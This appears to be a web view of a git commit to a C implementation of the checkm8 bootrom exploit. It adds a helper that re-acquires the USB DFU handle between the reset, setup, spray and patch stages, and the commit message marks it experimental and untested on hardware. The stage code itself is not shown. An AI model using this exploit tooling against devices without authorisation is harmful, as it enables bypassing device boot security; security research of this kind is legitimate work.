exp(checkm8): re-acquire the USB handle before every stage
The reference implementation calls wait_usb_handle() in the condition of its stage loop, so it looks the device up again before each stage. A device that re-enumerates mid-stage leaves this program holding a descriptor for a node that no longer exists: every later transfer returns NO_DEVICE (-4) even though the device is still on the bus, which is what the traces from the A8 runs show. Re-opening does not reset the device, so the state built by the previous stage survives. Experimental: not part of the minimal PR. Needs a hardware run to confirm or discard the hypothesis.
This commit is contained in:
parent
c11210d73f
commit
0d97c3767e
1 changed files with 44 additions and 0 deletions
|
|
@ -59,6 +59,41 @@ int exploit_init(exploit_ctx_t *ctx, device_info_t *dev)
|
||||||
/* exploit_deliver */
|
/* exploit_deliver */
|
||||||
/* ------------------------------------------------------------------ */
|
/* ------------------------------------------------------------------ */
|
||||||
|
|
||||||
|
/*
|
||||||
|
* exploit_reacquire -- drop the handle and look the device up again.
|
||||||
|
*
|
||||||
|
* The reference implementation re-acquires the device before every stage
|
||||||
|
* (wait_usb_handle() sits in the condition of its stage loop). A device
|
||||||
|
* that re-enumerates during a stage leaves us holding a descriptor for a
|
||||||
|
* node that no longer exists, and every later transfer fails with
|
||||||
|
* NO_DEVICE (-4) even though the device is still on the bus. Re-opening
|
||||||
|
* does not reset the device, so the state built by the previous stage
|
||||||
|
* stays where it is.
|
||||||
|
*/
|
||||||
|
static int exploit_reacquire(exploit_ctx_t *ctx)
|
||||||
|
{
|
||||||
|
device_info_t *dev = ctx->dev;
|
||||||
|
uint8_t iserial = 0;
|
||||||
|
int i;
|
||||||
|
|
||||||
|
if (dev->usb) {
|
||||||
|
usb_dfu_close(dev->usb);
|
||||||
|
dev->usb = NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
for (i = 0; i < 60; i++) { /* up to ~3 s at 50 ms */
|
||||||
|
if (usb_dfu_find(&dev->usb, &iserial) == 0) {
|
||||||
|
log_info("exploit_deliver: device re-acquired (iserial %u)",
|
||||||
|
(unsigned)iserial);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
usleep(50000);
|
||||||
|
}
|
||||||
|
|
||||||
|
log_error("exploit_deliver: device did not come back after re-acquiring");
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
int exploit_deliver(exploit_ctx_t *ctx)
|
int exploit_deliver(exploit_ctx_t *ctx)
|
||||||
{
|
{
|
||||||
if (!ctx || !ctx->dev || !ctx->chip)
|
if (!ctx || !ctx->dev || !ctx->chip)
|
||||||
|
|
@ -70,12 +105,21 @@ int exploit_deliver(exploit_ctx_t *ctx)
|
||||||
if (checkm8_stage_reset(ctx) != 0)
|
if (checkm8_stage_reset(ctx) != 0)
|
||||||
return -1;
|
return -1;
|
||||||
|
|
||||||
|
if (exploit_reacquire(ctx) != 0)
|
||||||
|
return -1;
|
||||||
|
|
||||||
if (checkm8_stage_setup(ctx) != 0)
|
if (checkm8_stage_setup(ctx) != 0)
|
||||||
return -1;
|
return -1;
|
||||||
|
|
||||||
|
if (exploit_reacquire(ctx) != 0)
|
||||||
|
return -1;
|
||||||
|
|
||||||
if (checkm8_stage_spray(ctx) != 0)
|
if (checkm8_stage_spray(ctx) != 0)
|
||||||
return -1;
|
return -1;
|
||||||
|
|
||||||
|
if (exploit_reacquire(ctx) != 0)
|
||||||
|
return -1;
|
||||||
|
|
||||||
if (checkm8_stage_patch(ctx) != 0)
|
if (checkm8_stage_patch(ctx) != 0)
|
||||||
return -1;
|
return -1;
|
||||||
|
|
||||||
|
|
|
||||||
Loading…
Add table
Add a link
Reference in a new issue